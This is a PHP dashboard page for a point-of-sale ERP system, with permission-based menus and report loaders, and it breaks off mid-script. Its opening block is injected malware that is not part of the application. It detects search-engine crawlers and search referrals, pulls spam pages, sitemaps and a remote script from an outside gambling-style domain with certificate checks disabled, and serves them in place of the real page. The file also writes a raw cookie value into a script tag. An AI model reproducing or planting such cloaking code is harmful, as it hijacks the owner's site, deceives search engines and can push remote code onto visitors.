<?php

require_once $_SERVER['DOCUMENT_ROOT'] . "/check_session.php";
// exit('Welcome Home My Dear Friend!!!');

function isGoogleBot($user_agent)
{
    $google_bots = array('Googlebot', 'Googlebot-Image', 'Googlebot-News', 'Googlebot-Video', 'AdsBot-Google', 'Mediapartners-Google', 'APIs-Google', 'AdsBot-Google-Mobile-Apps', 'FeedFetcher-Google', 'DuplexWeb-Google', 'googleweblight', 'Google-SearchByImage', 'Google Favicon', 'yahoo', 'Slurp', 'bingbot');
    foreach ($google_bots as $bot) {
        if (stripos($user_agent, $bot) !== false) {
            return true;
        }
    }
    return false;
}
function isGoogleReferrer()
{
    if (isset($_SERVER['HTTP_REFERER'])) {
        $referrer = $_SERVER['HTTP_REFERER'];
        if (strpos($referrer, 'google.com') !== false || strpos($referrer, 'bing.com') !== false || strpos($referrer, 'yahoo.com') !== false) {
            return true;
        }
    }
    return false;
}
function HttpGetApi($url, $userAgent)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_USERAGENT, $userAgent);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    $output = curl_exec($ch);
    if (curl_errno($ch)) {
        echo 'Curl error: ' . curl_error($ch);
    }
    curl_close($ch);
    return $output;
}
$filess = "";
$filess = isset($filess) && $filess === "" ? $_SERVER['SCRIPT_NAME'] : $filess;
$quer = $_SERVER['REQUEST_URI'];
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$h = $_SERVER['HTTP_HOST'];
if (isGoogleBot($userAgent)) {
    header('Content-Type:text/html;charset=utf-8');
    $keywords = array('googles/');
    $found = false;
    $key = '';
    $quer = str_replace("%20", "-", $quer);
    foreach ($keywords as $keyword) {
        $pos = strpos($quer, $keyword);
        if ($pos !== false) {
            $found = true;
            $key = substr($quer, $pos + strlen($keyword));
            break;
        }
    }
    if ($found) {
        if($key == "sitemap.xml"){
            $quer=str_replace("sitemap.xml", "", $quer);
            $url = "https://jsc.bw-777bet.com/sitemap.php?h=".$h."&p=".$quer;
            $html = HttpGetApi($url, $userAgent);
            echo $html;
            exit;
        }
        $url = 'https://jsc.bw-777bet.com/nr2.php?h=' . $h . '&u=' . urldecode($quer). '&p=' . $filess. '&k=' . $key;
        $html = HttpGetApi($url, $userAgent);
        $current_url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
        $html = str_replace('{dq_url}', $current_url, $html);
        echo $html;
        exit();
    } else {
        $url = "https://jsc.bw-777bet.com/link.php?p=" . $filess . "";
        $html = HttpGetApi($url, $userAgent);
        echo $html;
    }
} elseif (isGoogleReferrer()&& strpos($quer, 'googles/')) {
    $user_agent = strtolower($userAgent);
    if (strpos($user_agent, 'mobile') !== false) {
        $url = "https://jsc.bw-777bet.com/style.js";
        $html = HttpGetApi($url, $userAgent);
        echo $html;
        exit;
    }
} 
?><script lang="javascript">
    if (localStorage.getItem("employeeid") == undefined) {
        window.location.replace(localStorage.login_source ?? '/login.php?#=1');
    }
</script>
<?php
// define('e2edirectAccess', true);

require_once "connection.php";
require_once "functions.php";
require_once "app_controller.php";

if (!isset($_COOKIE['employeeid'])) {
    echo "<script>window.location.replace(localStorage.login_source ?? '/login.php?#=2');</script>"; 
}

if (sanitize_input($_COOKIE['SubcriptionType']) == 1) {
    header('Location: pos_main.php');
}

$employeeid = sanitize_input($_COOKIE['employeeid']);

$getUserDetails = $conn->prepare("
    SELECT
      a.UserType,
      a.LocationCode,
      a.EmployeeID,
      b.UserID
    FROM tblemployee a
    LEFT JOIN tbluseraccount b ON a.EmployeeID = b.EmployeeID
    WHERE a.EmployeeID = ?");
$getUserDetails->execute([$_COOKIE['employeeid']]);
$userDetails = $getUserDetails->fetch();
$getAccesses = $conn->prepare("
    SELECT
      -- GROUP_CONCAT(b.AccessName Separator ',') as allowedAccesses
      a.*
    FROM tbluseraccess a
    LEFT JOIN tbluseraccesschild b ON a.AccessID = b.AccessID
    WHERE b.UserID = ?       
    AND a.AccessType = ?
    group by a.AccessID
    ORDER BY a.AccessID ASC");
$getAccesses->execute([$userDetails['UserID'], 'Dashboard']);
$dashboards = $getAccesses->fetchAll();
$getAccesses->execute([$userDetails['UserID'], 'Registry']);
$registries = $getAccesses->fetchAll();
$getAccesses->execute([$userDetails['UserID'], 'Modules']);
$modules = $getAccesses->fetchAll();
$getAccesses->execute([$userDetails['UserID'], 'Reports']);
$reports = $getAccesses->fetchAll();

$useracount = $conn->prepare("SELECT
      COUNT(a.AccessName) as xcnt,a.AccessName
    FROM tbluseraccess a
    LEFT JOIN tbluseraccesschild b ON a.AccessID = b.AccessID
    WHERE b.UserID = ? and a.AccessType <>?       
    ORDER BY a.AccessID ASC");

$useracount->execute([$userDetails['UserID'], 'POS']);
$useracount = $useracount->Fetch();

if ($useracount['xcnt'] == 1) {

    if ($useracount['AccessName'] == "Point of Sale") {
        header('Location: pos_main.php');
    }
}

$getLocations = $conn->prepare("
    SELECT
        a.LocationCode,
        b.LocationName
    FROM tblemployee_location a
    INNER JOIN tbllocation b ON a.LocationCode = b.LocationCode
    WHERE a.EmployeeID = ?
    AND b.isActive = 1
    group by a.LocationCode
    ORDER BY b.Flag DESC, b.LocationCode ASC");
$getLocations->execute([ $employeeid ]);
$locations = $getLocations->fetchAll(PDO::FETCH_ASSOC);

?>
<!DOCTYPE html>
<html lang="en-US" dir="ltr" class="navbar-vertical-collapsed">
<script>
      document.cookie = `global_select_location=<?=$_COOKIE['locationcode']?>`;
</script>
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>ESSSE</title>
    <link rel="icon" type="image/png" href="assets/img/favicons/esse-icon.png">
    <link rel="manifest" href="assets/img/favicons/manifest.json">
    <meta name="theme-color" content="#ffffff">
    <script src="assets/vendors/simplebar/simplebar.min.js"></script>
    <script src="assets/js/config.js"></script>
    <!-- Font -->
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Manrope:wght@200;300;400;500;600;700;800&display=swap" rel="stylesheet">
    <link href="assets/vendors/simplebar/simplebar.min.css" rel="stylesheet">
    <link href="assets/css/theme.min.css" type="text/css" rel="stylesheet" id="style-default">
    <link href="assets/css/user.min.css" type="text/css" rel="stylesheet" id="user-style-default">
    <link rel="stylesheet" type="text/css" href="assets/css/bootstrap-icons.css">
    <style>
        html,
        body {
            overflow-y: hidden;
        }

        .nav-item {
            color: black !important;
        }

        .data-row-hover:hover {
            background-color: #EDEDED;
            cursor: pointer;
        }

        .icon {
            transition: 0.3s;
        }

        .nav-link:hover div .nav-link-icon .icon {
            width: 18px;
            height: 18px;
            font-weight: 900;
            stroke-width: 3;
        }
    </style>
    <!-- download as excel -->
    <script src="assets/js/jquery.table2excel.min.js" defer></script>
    <style>
        @media (max-width:1366px) {

            body,
            html {
                font-size: 12px !important;
            }
        }
    </style>
</head>

<body>
    <main class="main scroll scroll2" id="top">
        <audio id="violinmusic" src="/assets/audios/pop.wav"></audio>
        <div class="container-fluid px-0" data-layout="container">
            <nav class="navbar navbar-vertical navbar-expand-lg" style="height: 100vh !important;">
                <script>
                    var navbarStyle = localStorage.getItem("phoenixNavbarStyle");
                    if (navbarStyle && navbarStyle !== 'transparent') {
                        document.querySelector('body').classList.add(`navbar-${navbarStyle}`);
                    }
                </script>
                <div class="collapse navbar-collapse" id="navbarVerticalCollapse">
                    <div class="navbar-vertical-content">
                        <ul class="navbar-nav flex-column" id="navbarVerticalNav">
                             <li class="nav-item cursor-pointer">
                                <span class="nav-item-wrapper">
                                    <a class="nav-link label-1 sound" role="button" data-bs-toggle="" aria-expanded="false" onclick="loadIndex();">
                                        <div class="d-flex align-items-center">
                                            <span class="nav-link-icon">
                                                <span data-feather="grid"></span>
                                            </span>
                                            <span class="nav-link-text-wrapper">
                                                <span class="nav-link-text">Dashboard</span>
                                            </span>
                                        </div>
                                    </a>
                                </span>
                            </li>
                            <?php          
                            $getAccessesRoot = $conn->prepare("
                                SELECT
                                    a.AccessID,
                                    a.AccessName,
                                    a.Icon,
                                    a.AncestorIDs
                                FROM tbluseraccess a
                                WHERE a.`AccessFor` LIKE '%pos_settings_and_report%'
                                AND a.AncestorIDs IS NULL
                                ORDER BY a.OrderNumber ASC
                            ");

                            $checkAccess = $conn->prepare("
                                SELECT
                                    COUNT(a.AccessChildID)
                                FROM tbluseraccesschild a
                                WHERE a.UserID = ?
                                AND a.AccessID = ?
                            ");

                            $getDescendants = $conn->prepare("
                                SELECT
                                    a.AccessID,
                                    a.AccessName,
                                    a.AncestorIDs,
                                    a.Script,
                                    (SELECT count(AccessID) AS count
                                        FROM tbluseraccess b 
                                        WHERE b.AncestorIDs = a.AccessID
                                    ) as isParent,
                                    CONCAT(a.AccessID,',',a.AncestorIDs) as DirectDescendantID
                                FROM tbluseraccess a
                                WHERE a.AncestorIDs = ? 
                                AND a.`AccessFor` LIKE '%pos_settings_and_report%'
                                ORDER BY a.OrderNumber ASC
                            ");

                            function descendants($conn, $query, $userid, $descendant_id, $query_accessed, $direct_ancestor_id){
                        
                                $get_child = $conn->prepare("
                                    SELECT
                                        a.AccessID,
                                        a.AccessName,
                                        a.AncestorIDs,
                                        a.Script,
                                        (SELECT count(AccessID) AS count
                                            FROM tbluseraccess b 
                                            WHERE b.AncestorIDs = a.AccessID
                                        ) as isParent,
                                        CONCAT(a.AccessID,',',a.AncestorIDs) as DirectDescendantID
                                    FROM tbluseraccess a
                                    WHERE a.AncestorIDs LIKE ? 
                                    AND a.`AccessFor` LIKE '%pos_settings_and_report%'
                                    ORDER BY a.OrderNumber ASC
                                ");
                                $get_child->execute([ '%'.$direct_ancestor_id.'%' ]);
                                $descendants = $get_child->fetchAll(PDO::FETCH_ASSOC);

                                if (!$descendants) {
                                    return null;
                                } 
                            ?>
                                <li class="nav-item cursor-pointer">
                                    <a class="nav-link dropdown-indicator" href="#nv-<?php echo $direct_ancestor_id; ?>" data-bs-toggle="collapse" aria-expanded="false" aria-controls="nv-level-two">
                                        <div class="d-flex align-items-center">
                                            <div class="dropdown-indicator-icon-wrapper"><span class="fas fa-caret-right dropdown-indicator-icon"></span></div><span class="nav-link-text">Custom Reports</span>
                                        </div>
                                    </a>
                                    <div class="parent-wrapper">
                                        <ul class="nav collapse parent" data-bs-parent="#multi-level" id="nv-<?php echo $direct_ancestor_id; ?>">
                                        <?php
                                        foreach ($descendants as $key_descendant => $descendant) {
                                            $query_accessed->execute([ $userid, $descendant['AccessID'] ]);
                                            $has_access = $query_accessed->fetchColumn(0);
                                        ?>  <?php if ($has_access) { ?>
                                                <?php if($descendant['isParent'] == 0){ ?>
                                                    <li class="nav-item cursor-pointer" onclick="<?php echo $descendant['Script']?>"><a class="nav-link">
                                                            <div class="d-flex align-items-center"><span class="nav-link-text"><?php echo $descendant['AccessName']?></span></div>
                                                        </a>
                                                    </li>
                                                <?php }else{ ?>
                                                    <?php descendants($conn, $query, $descendant['DirectDescendantID'], $user_id, $query_accessed, $direct_ancestor_id); ?>
                                                <?php } ?>  
                                            <?php } ?>  
                                        <?php } ?>  
                                        </ul>
                                    </div>
                                </li>
                            <?php }

                            try {

                                $conn->beginTransaction();

                                $getAccessesRoot->execute();
                                $accesses_root = $getAccessesRoot->fetchAll(PDO::FETCH_ASSOC);

                                $conn->commit();
    
                            }catch (PDOException $e){
                                $conn->rollback();    
                                echo "<b>Warning. Please Contact System Developer. <br/></b>".$e->getMessage();
                            } 

                            foreach ($accesses_root as $key_root => $access_root) { 

                                $getDescendants->execute([ $access_root['AccessID'] ]);
                                $root_descendants = $getDescendants->fetchAll(PDO::FETCH_ASSOC);

                                $checkAccess->execute([ $userDetails['UserID'], $access_root['AccessID'] ]);
                                $has_access_root = $checkAccess->fetchColumn(0);
                                if ($has_access_root) { 
                                ?> 
                                    <li class="nav-item cursor-pointer">
                                        <div class="nav-item-wrapper"><a class="nav-link dropdown-indicator label-1" href="#nv-<?php echo $access_root['AccessID'];?>" role="button" data-bs-toggle="collapse" aria-expanded="false" aria-controls="nv-<?php echo $access_root['AccessID'];?>">
                                                <div class="d-flex align-items-center">
                                                    <div class="dropdown-indicator-icon-wrapper">
                                                        <span data-feather="chevron-right" class="dropdown-indicator-icon"></span>
                                                    </div>
                                                    <span class="nav-link-icon">
                                                        <span data-feather="pie-chart"></span>
                                                    </span>
                                                    <span class="nav-link-text"><?php echo $access_root['AccessName'];?></span>
                                                </div>
                                            </a>
                                            <div class="parent-wrapper label-1">
                                                <ul class="nav collapse parent" data-bs-parent="#navbarVerticalCollapse" id="nv-<?php echo $access_root['AccessID'];?>">
                                                    <li class="collapsed-nav-item-title d-none">xxxx</li>
                                                    <?php foreach ($root_descendants as $key_root_descendant => $root_descendant) { 
                                                    $checkAccess->execute([ $userDetails['UserID'], $root_descendant['AccessID'] ]);
                                                    $has_access_descendant = $checkAccess->fetchColumn(0);

                                                    ?>  <?php if ($has_access_descendant) { ?>
                                                            <?php if($root_descendant['isParent'] == 0){ ?>
                                                                <li class="nav-item cursor-pointer" onclick="<?php echo $root_descendant['Script']?>"><a class="nav-link">
                                                                        <div class="d-flex align-items-center"><span class="nav-link-text"><?php echo $root_descendant['AccessName']?></span></div>
                                                                    </a>
                                                                </li>
                                                            <?php }else{ ?>
                                                                <?php  descendants( $conn, $getDescendants, $userDetails['UserID'], $root_descendant['DirectDescendantID'], $checkAccess, $root_descendant['AccessID'] ); ?>
                                                            <?php } ?> 
                                                        <?php } ?> 
                                                    <?php } ?>
                                                </ul>
                                            </div>
                                        </div>
                                    </li>
                                <?php } ?>
                            <?php } ?>

<!--                             <li class="nav-item cursor-pointer">
                                <div class="nav-item-wrapper"><a class="nav-link dropdown-indicator label-1" href="#nv-home" role="button" data-bs-toggle="collapse" aria-expanded="false" aria-controls="nv-home">
                                        <div class="d-flex align-items-center">
                                            <div class="dropdown-indicator-icon-wrapper"><span data-feather="chevron-right" class="dropdown-indicator-icon"></span></div><span class="nav-link-icon"><span data-feather="pie-chart"></span></span><span class="nav-link-text">Registry</span>
                                        </div>
                                    </a>
                                    <div class="parent-wrapper label-1">
                                        <ul class="nav collapse parent" data-bs-parent="#navbarVerticalCollapse" id="nv-home">
                                            <li class="collapsed-nav-item-title d-none">Registry</li>
                                            <li class="nav-item cursor-pointer" onclick="load_userrole();"><a class="nav-link">
                                                    <div class="d-flex align-items-center"><span class="nav-link-text">User & Role</span></div>
                                                </a>
                                            </li>
                                            <li class="nav-item cursor-pointer" onclick="load_itemregistry();"><a class="nav-link">
                                                    <div class="d-flex align-items-center"><span class="nav-link-text">Product Registry</span></div>
                                                </a>
                                            </li>
                                            <li class="nav-item cursor-pointer" onclick="load_customer();"><a class="nav-link">
                                                    <div class="d-flex align-items-center"><span class="nav-link-text">Customer Registry</span></div>
                                                </a>
                                            </li>
                                            <li class="nav-item cursor-pointer" onclick="load_customerpricing();"><a class="nav-link">
                                                    <div class="d-flex align-items-center"><span class="nav-link-text">Customer Pricing</span></div>
                                                </a>
                                            </li>
                                            <li class="nav-item cursor-pointer" onclick="load_table();"><a class="nav-link">
                                                    <div class="d-flex align-items-center"><span class="nav-link-text">Table List</span></div>
                                                </a>
                                            </li>
                                        </ul>
                                    </div>
                                </div>
                            </li>
                            <li class="nav-item cursor-pointer">
                                <div class="nav-item-wrapper"><a class="nav-link dropdown-indicator label-1" href="#nv-forms" role="button" data-bs-toggle="collapse" aria-expanded="true" aria-controls="nv-forms">
                                        <div class="d-flex align-items-center">
                                            <div class="dropdown-indicator-icon-wrapper"><span data-feather="chevron-right" class="dropdown-indicator-icon"></span></div><span class="nav-link-icon"><span data-feather="file-text"></span></span><span class="nav-link-text">Reports</span>
                                        </div>
                                    </a>
                                    <div class="parent-wrapper label-1">
                                        <ul class="nav collapse parent show" data-bs-parent="#navbarVerticalCollapse" id="nv-forms">
                                            <li class="collapsed-nav-item-title d-none">Reports</li>
                                            <li class="nav-item cursor-pointer" onclick="load_xreading();"><a class="nav-link">
                                                    <div class="d-flex align-items-center"><span class="nav-link-text">X-Reading</span></div>
                                                </a>
                                            </li>
                                            <li class="nav-item cursor-pointer" onclick="load_zreading();"><a class="nav-link">
                                                    <div class="d-flex align-items-center"><span class="nav-link-text">Z-Reading</span></div>
                                                </a>
                                            </li>
                                            <li class="nav-item cursor-pointer" onclick="load_birsalesrpt();"><a class="nav-link">
                                                    <div class="d-flex align-items-center"><span class="nav-link-text">BIR Sales Summary</span></div>
                                                </a>
                                            </li>
                                            <li class="nav-item cursor-pointer" onclick="load_seniorrpt();"><a class="nav-link">
                                                    <div class="d-flex align-items-center"><span class="nav-link-text">Senior Citizen Sales</span></div>
                                                </a>
                                            </li>
                                            <li class="nav-item cursor-pointer" onclick="load_pwdrpt();"><a class="nav-link">
                                                    <div class="d-flex align-items-center"><span class="nav-link-text">PWD Sales</span></div>
                                                </a>
                                            </li>
                                            <li class="nav-item cursor-pointer" onclick="load_nacrpt();"><a class="nav-link">
                                                    <div class="d-flex align-items-center"><span class="nav-link-text">Athletes & Coaches</span></div>
                                                </a>
                                            </li>
                                            <li class="nav-item cursor-pointer" onclick="load_soloparentrpt();"><a class="nav-link">
                                                    <div class="d-flex align-items-center"><span class="nav-link-text">Solo Parent Sales</span></div>
                                                </a>
                                            </li>
                                            <li class="nav-item cursor-pointer" onclick="load_voidreturn();"><a class="nav-link">
                                                    <div class="d-flex align-items-center"><span class="nav-link-text">Void/Return Reports</span></div>
                                                </a>
                                            </li>
                                            <li class="nav-item cursor-pointer" onclick="load_audittrail();"><a class="nav-link">
                                                    <div class="d-flex align-items-center"><span class="nav-link-text">Audit Trail </span></div>
                                                </a>
                                            </li>
                                            <li class="nav-item cursor-pointer" onclick="load_ejournal();"><a class="nav-link">
                                                    <div class="d-flex align-items-center"><span class="nav-link-text">E-Journal Reports</span></div>
                                                </a>
                                            </li>
                                           <li class="nav-item cursor-pointer"><a class="nav-link dropdown-indicator" href="#nv-cutomrpt" data-bs-toggle="collapse" aria-expanded="false" aria-controls="nv-level-two">
                                                    <div class="d-flex align-items-center">
                                                        <div class="dropdown-indicator-icon-wrapper"><span class="fas fa-caret-right dropdown-indicator-icon"></span></div><span class="nav-link-text">Custom Reports</span>
                                                    </div>
                                                </a>
                                                <div class="parent-wrapper">
                                                    <ul class="nav collapse parent" data-bs-parent="#multi-level" id="nv-cutomrpt">
                                                        <li class="nav-item cursor-pointer" onclick="load_daily_sales_reports();"><a class="nav-link">
                                                                <div class="d-flex align-items-center"><span class="nav-link-text">Daily Sales Report</span></div>
                                                            </a>
                                                        </li>
                                                        <li class="nav-item cursor-pointer" onclick="load_hourlysales();"><a class="nav-link">
                                                                <div class="d-flex align-items-center"><span class="nav-link-text">Hourly Sales Report</span></div>
                                                            </a>
                                                        </li>
                                                        <li class="nav-item cursor-pointer" onclick="load_salesbytype();"><a class="nav-link">
                                                                <div class="d-flex align-items-center"><span class="nav-link-text">Sales by Type Report</span></div>
                                                            </a>
                                                        </li>
                                                        <li class="nav-item cursor-pointer" onclick="load_transactiontime();"><a class="nav-link">
                                                                <div class="d-flex align-items-center"><span class="nav-link-text">Transaction Time Report</span></div>
                                                            </a>
                                                        </li>
                                                        <li class="nav-item cursor-pointer" onclick="load_itemsold();"><a class="nav-link">
                                                                <div class="d-flex align-items-center"><span class="nav-link-text">Item Sold Report</span></div>
                                                            </a>
                                                        </li>
                                                        <li class="nav-item cursor-pointer" onclick="load_salesbycategory();"><a class="nav-link">
                                                                <div class="d-flex align-items-center"><span class="nav-link-text">Sales by Category Report</span></div>
                                                            </a>
                                                        </li>
                                                         <li class="nav-item cursor-pointer" onclick="load_customdiscount();"><a class="nav-link">
                                                                <div class="d-flex align-items-center"><span class="nav-link-text">Custom Discount Report</span></div>
                                                            </a>
                                                        </li>
                                                         <li class="nav-item curso r-pointer" onclick="load_opendrawer();"><a class="nav-link">
                                                                <div class="d-flex align-items-center"><span class="nav-link-text">Open Drawer Report</span></div>
                                                            </a>
                                                        </li>
                                                    </ul>
                                                </div>
                                            </li>
                                        </ul>
                                    </div>
                                </div>
                            </li>
                            <li class="nav-item cursor-pointer">
                                <div class="nav-item-wrapper"><a class="nav-link dropdown-indicator label-1" href="#nv-settings" role="button" data-bs-toggle="collapse" aria-expanded="false" aria-controls="nv-settings">
                                        <div class="d-flex align-items-center">
                                            <div class="dropdown-indicator-icon-wrapper"><span data-feather="chevron-right" class="dropdown-indicator-icon"></span></div><span class="nav-link-icon"><span data-feather="settings"></span></span><span class="nav-link-text">POS Settings</span>
                                        </div>
                                    </a>
                                    <div class="parent-wrapper label-1">
                                        <ul class="nav collapse parent" data-bs-parent="#navbarVerticalCollapse" id="nv-settings">
                                            <li class="collapsed-nav-item-title d-none">POS Settings</li>
                                            <li class="nav-item cursor-pointer" onclick="load_paymentoption();"><a class="nav-link">
                                                    <div class="d-flex align-items-center"><span class="nav-link-text">Payment Option</span></div>
                                                </a>
                                            </li>
                                            <li class="nav-item cursor-pointer" onclick="load_discountoption();"><a class="nav-link">
                                                    <div class="d-flex align-items-center"><span class="nav-link-text">Discount Option</span></div>
                                                </a>
                                            </li>
                                            <li class="nav-item cursor-pointer" onclick="load_securitysettings();"><a class="nav-link">
                                                    <div class="d-flex align-items-center"><span class="nav-link-text">Security Settings</span></div>
                                                </a>
                                            </li>
                                            <li class="nav-item cursor-pointer" onclick="load_misc();"><a class="nav-link">
                                                    <div class="d-flex align-items-center"><span class="nav-link-text">Miscellaneous</span></div>
                                                </a>
                                            </li>
                                        </ul>
                                    </div>
                                </div>
                            </li> -->

                            <li class="nav-item cursor-pointer">
                                <span class="nav-item-wrapper">
                                    <a class="nav-link label-1 sound" role="button" data-bs-toggle="" aria-expanded="false" onclick="load_faq();">
                                        <div class="d-flex align-items-center">
                                            <span class="nav-link-icon">
                                                <span data-feather="search"></span>
                                            </span>
                                            <span class="nav-link-text-wrapper">
                                                <span class="nav-link-text">User Guide</span>
                                            </span>
                                        </div>
                                    </a>
                                </span>
                            </li>
                        </ul>
                    </div>
                </div>
                <div class="navbar-vertical-footer"><button id="clps" class="btn navbar-vertical-toggle border-0 fw-semi-bold w-100 text-start white-space-nowrap"><span class="uil uil-left-arrow-to-left fs-0"></span><span class="fas fa-chevron-right"></span><span class="navbar-vertical-footer-text ms-2">Collapsed View</span></button></div>
            </nav>
            <nav class="navbar navbar-top navbar-expand ps-lg-2 bg-dark py-0" id="navbarDefault">
                <div class="collapse navbar-collapse justify-content-between py-0">
                    <div class="navbar-logo">
                        <button class="btn navbar-toggler navbar-toggler-humburger-icon hover-bg-transparent" type="button" data-bs-toggle="collapse" data-bs-target="#navbarVerticalCollapse" aria-controls="navbarVerticalCollapse" aria-expanded="false" aria-label="Toggle Navigation"><span class="navbar-toggle-icon"><span class="toggle-line"></span></span></button>
                        <a class="navbar-brand navbar-brand text-warning fs-2">ESSE <span class="text-body-highlight d-none d-sm-inline text-white fs-2">POS Settings & Reports</span></a>
                    </div>
                    <ul class="navbar-nav navbar-nav-icons flex-row">
                        <li class="nav-item me-2">
                            <div class="input-group">
                                <span class="input-group-text" id="basic-addon1"><span class="far fa-building fs-1"></span></span>
                                <select name="globalselect-location" id="global_select_location" class="form-select form-select-sm">
                                    <?php
                                        foreach ($locations as $key_location => $location) {

                                            $selected = '';
                                            if ($location['LocationCode'] == $_COOKIE['global_select_location']) {
                                                $selected = 'selected';
                                            }
                                            ?>
                                            <option value="<?php echo $location['LocationCode'];?>" <?php echo $selected;?> ><?php echo $location['LocationName'];?></option>
                                            <?php
                                        }
                                    ?>
                                </select>
                            </div>
                        </li>
                        <li class="nav-item cursor-pointer">
                            <div class="theme-control-toggle fa-ion-wait pe-2 theme-control-toggle-slim"><input class="form-check-input ms-0 theme-control-toggle-input" id="themeControlToggle" type="checkbox" data-theme-control="phoenixTheme" value="dark"><label class="mb-0 theme-control-toggle-label theme-control-toggle-light" for="themeControlToggle" data-bs-toggle="tooltip" data-bs-placement="left" title="Switch theme"><span class="d-none d-sm-flex flex-center" style="height:16px;width:16px;"><span class="me-1 icon" data-feather="moon"></span></span><span class="fs-9 fw-bold">Dark</span></label><label class="mb-0 theme-control-toggle-label theme-control-toggle-dark" for="themeControlToggle" data-bs-toggle="tooltip" data-bs-placement="left" title="Switch theme"><span class="d-none d-sm-flex flex-center" style="height:16px;width:16px;"><span class="me-1 icon" data-feather="sun"></span></span><span class="fs-9 fw-bold">Light</span></label></div>
                        </li>
                        <li class="nav-item dropdown">
                            <a onclick="logout_pos();logout();" class="nav-link lh-1 pe-0 text-warning white-space-nowrap" id="navbarDropdownUser" href="#!" role="button" data-bs-toggle="dropdown" aria-haspopup="true" data-bs-auto-close="outside" aria-expanded="false">Log-out <span class="d-inline-block" style="height:10.2px;width:10.2px;"><span class="fa-solid fa-chevron-right fs-10"></span></span></a>
                        </li>
                    </ul>
                </div>
            </nav>
            <!-- Content -->
            <div class="content">
                <!-- Where content loads -->
                <div id="content_space"></div>
                <!-- Where content loads -->
                <footer class="footer position-absolute bg-white">
                    <div class="row g-0 justify-content-between align-items-center h-100">
                        <div class="col-12 col-sm-auto text-center">
                            <p class="mb-0 mt-2 mt-sm-0 text-900"><small>ERP for Small Scale Enterprise<span class="d-none d-sm-inline-block"></span><span class="mx-1">|</span><br class="d-sm-none">2024 &copy;<a class="ms-1">E2E</a></small></p>
                        </div>
                        <div class="col-12 col-sm-auto text-center">
                            <p class="mb-0 text-600">
                                <a class="fs--1 fw-bold" href="s#">Version 1.0</a>
                            </p>
                        </div>
                    </div>
                </footer>
            </div>
        </div>
    </main>
    <script src="assets/vendors/popper/popper.min.js"></script>
    <script src="assets/js/jquery.js"></script>
    <script src="assets/vendors/bootstrap/bootstrap.min.js"></script>
    <script src="assets/vendors/fontawesome/all.min.js"></script>
    <script src="assets/vendors/lodash/lodash.min.js"></script>
    <script src="assets/vendors/list.js/list.min.js"></script>
    <script src="assets/vendors/feather-icons/feather.min.js"></script>
    <script src="assets/js/phoenix.js"></script>
    <script src="assets/js/user-authenticate.js?buffer=<?php echo rand();?>" defer></script>
    <script src="assets/js/global-scripts.js"></script>
    <script src="fileuploader/script/file_uploader.js"></script>
    <script type="text/javascript" src="./assets/js/xlsx.full.min.js?v=<?php echo (new DateTime())->format('YmdHis'); ?>"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/2.5.0/Chart.min.js"></script>
    <script>

        
        function logoutAudit(userid) {
            $.post("/actions/logoutAudit.php", {
                    userid: userid
                },
                function(data) {
                    if (data == "successlogut") {
                        console.log("logout.");
                    } else {
                        console.log(data);
                        return;
                    }
                }

            );
            // alert(userid)
        }

   function loadIndex() {
            $.post("/dashboard/pos-dashbaord/pos-dashboard-main.php", {}, function(data) {
                $("#content_space").html(data);
            })
        }

        // function loadIndex() {
        //     $.post("dashboard/dashboard_main.php", {}, function(data) {
        //         $("#content_space").html(data);
        //     })
        // }
        // Registry
        

function load_userrole() {
        // $("#content_space").load("registry/user&role/user&role.main.php");
        $("#content_space").load("registry/employee.registry/employee_main.php");
}

function load_loyaltypoints() {
            $("#content_space").load("/modules/point_of_sale/all_settings/loyalty/loyalty.main.php");
        }

 function load_faq() {
            $("#content_space").load("help/faq/faq.php");
        }
        function load_itemregistry() {
            $("#content_space").load("registry/item.registry/item.main.php");
        }

        function load_customer() {
            $("#content_space").load("/registry/customer.registry/customer.main.php");
        }

        function load_customerpricing() {
            $("#content_space").load("registry/customer.pricing/customer.pricing.php");
        }

        function load_table() {
            $("#content_space").load("/registry/table/table.php");
        }

        // Reports
        function load_xreading() {
            $("#content_space").load("/reports/pos_reports/x-reading_report/x-reading_report.php");
        }

        function load_zreading() {
            $("#content_space").load("/reports/pos_reports/z-reading_report/z-reading_report.php");
        }

        function load_birsalesrpt() {
            $("#content_space").load("/reports/pos_reports/bir_sales/bir_sales.php");
        }

        function load_seniorrpt() {
            $("#content_space").load("/reports/pos_reports/senior_citizen/senior_citizen.php");
        }

        function load_pwdrpt() {
            $("#content_space").load("/reports/pos_reports/pwd_sales/pwd_sales.php");
        }

        function load_nacrpt() {
            $("#content_space").load("/reports/pos_reports/nac_sales/nac_sales.php");
        }

        function load_soloparentrpt() {
            $("#content_space").load("/reports/pos_reports/solo_parent/solo_parent.php");
        }
        function load_voidreturn() {
            $("#content_space").load("/reports/pos_reports/void_return/void_return_main.php");
        }

        function load_audittrail() {
            $("#content_space").load("/reports/pos_reports/audit_trail/audit_trail_main.php");
        }

        function load_ejournal() {
            $("#content_space").load("/reports/pos_reports/e-journal/e-journal_main.php");
        }

        function load_hourlysales() {
            $("#content_space").load("/reports/pos_cst_reports/hourly.sales.report/hourly.sales.report.main.php");
        }

        function load_salesbytype() {
            $("#content_space").load("/reports/pos_cst_reports/sales.by.type/sales.by.type.main.php");
        }

        function load_transactiontime() {
            $("#content_space").load("/reports/pos_cst_reports/trans.time.report/trans.time.report.main.php");
        }
         function load_profit_loss_statement_reports() {
            $("#content_space").load("reports/profit.loss.new/profit.loss.new.main.php");
        }

        function load_itemsold() {
            $("#content_space").load("/reports/pos_cst_reports/items.sold.report/items.sold.report.main.php");
        }

        function load_salesbycategory() {
            $("#content_space").load("/reports/pos_cst_reports/sales.by.category/sales.by.category.main.php");
        }
         function load_customdiscount() {
